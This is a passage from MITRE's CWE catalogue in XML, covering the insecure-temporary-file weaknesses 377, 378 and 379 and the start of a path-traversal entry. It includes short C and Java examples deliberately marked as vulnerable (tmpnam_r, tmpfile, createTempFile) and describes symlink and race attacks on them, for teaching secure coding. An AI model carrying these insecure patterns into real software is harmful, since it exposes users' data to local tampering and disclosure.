               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-09-27">Passing Mutable Objects to an Untrusted Method</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="377" Name="Insecure Temporary File" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>Creating and using insecure temporary files can leave application and system data vulnerable to attack.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (tmpnam_r(filename)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>FILE* tmp = fopen(filename,"wb+");<xhtml:br/>while((recv(sock,recvbuf,DATA_SIZE, 0) &gt; 0)&amp;(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Insecure Temporary File</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>CON33-C</Entry_ID>
               <Entry_Name>Avoid race conditions when using library functions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>FIO00-J</Entry_ID>
               <Entry_Name>Do not operate on files in shared directories</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="149"/>
            <Related_Attack_Pattern CAPEC_ID="155"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 23, &#34;Creating Temporary Files Securely&#34; Page 682"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Temporary Files&#34;, Page 538"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 11, &#34;File Squatting&#34;, Page 662"/>
         </References>
         <Notes>
            <Note Type="Other">
               <xhtml:p>Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks.</xhtml:p>
               <xhtml:p>The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like tmpnam(), tempnam(), mktemp() and their C++ equivalents prefaced with an _ (underscore) as well as the GetTempFileName() function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="378" Name="Creation of Temporary File With Insecure Permissions" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="377" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.</Note>
            </Consequence>
            <Consequence>
               <Scope>Authorization</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
               <Note>Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-139">
               <Intro_Text>In the following code examples a temporary file is created and written to.  After using the temporary file, the file is closed and deleted from the file system.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>FILE *stream;<xhtml:br/>if( (stream = tmpfile()) == NULL ) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>perror("Could not open new temporary file\n");<xhtml:br/>return (-1);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:i>// write data to tmp file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>// remove tmp file<xhtml:br/>rmtmp();</xhtml:div>
               </Example_Code>
               <Body_Text>However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">File temp = File.createTempFile("pattern", ".suffix");<xhtml:br/>temp.deleteOnExit();<xhtml:br/>BufferedWriter out = new BufferedWriter(new FileWriter(temp));<xhtml:br/>out.write("aString");<xhtml:br/>out.close();</xhtml:div>}<xhtml:br/>catch (IOException e) {<xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.</Body_Text>
               <Body_Text>Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Improper temp file opening</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Improper Temporary File Opening</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="379" Name="Creation of Temporary File in Directory with Insecure Permissions" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.</Description>
         <Extended_Description>On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="377" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid using vulnerable temp file functions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-139">
               <Intro_Text>In the following code examples a temporary file is created and written to.  After using the temporary file, the file is closed and deleted from the file system.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>FILE *stream;<xhtml:br/>if( (stream = tmpfile()) == NULL ) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>perror("Could not open new temporary file\n");<xhtml:br/>return (-1);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:i>// write data to tmp file</xhtml:i>
                     <xhtml:br/>...<xhtml:br/>// remove tmp file<xhtml:br/>rmtmp();</xhtml:div>
               </Example_Code>
               <Body_Text>However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">File temp = File.createTempFile("pattern", ".suffix");<xhtml:br/>temp.deleteOnExit();<xhtml:br/>BufferedWriter out = new BufferedWriter(new FileWriter(temp));<xhtml:br/>out.write("aString");<xhtml:br/>out.close();</xhtml:div>}<xhtml:br/>catch (IOException e) {<xhtml:br/>}</xhtml:div>
               </Example_Code>
               <Body_Text>Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.</Body_Text>
               <Body_Text>Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Guessed or visible temporary file</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO15-C</Entry_ID>
               <Entry_Name>Ensure that file operations are performed in a secure directory</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Temporary Files&#34;, Page 538"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Name, References, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Guessed or Visible Temporary File</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Creation of Temporary File in Directory with Insecure Permissions</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Creation of Temporary File in Directory with Incorrect Permissions</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="38" Name="Path Traversal: '\absolute\pathname\here'" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="36" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
